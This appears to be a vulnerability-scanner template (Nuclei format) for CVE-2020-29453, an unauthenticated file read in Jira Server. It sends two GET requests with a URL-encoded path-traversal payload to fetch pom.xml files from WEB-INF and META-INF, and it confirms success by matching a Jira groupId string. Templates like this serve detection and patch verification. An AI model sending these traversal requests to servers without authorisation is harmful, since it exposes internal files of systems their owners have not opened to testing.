id: CVE-2020-29453

info:
  name: Pre-Auth Limited Arbitrary File Read in Jira Server
  author: dwisiswant0
  severity: medium
  description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
  reference: https://jira.atlassian.com/browse/JRASERVER-72014
  tags: cve,cve2020,atlassian,jira,lfi
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2020-29453
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '<groupId>com.atlassian.jira</groupId>'
        part: body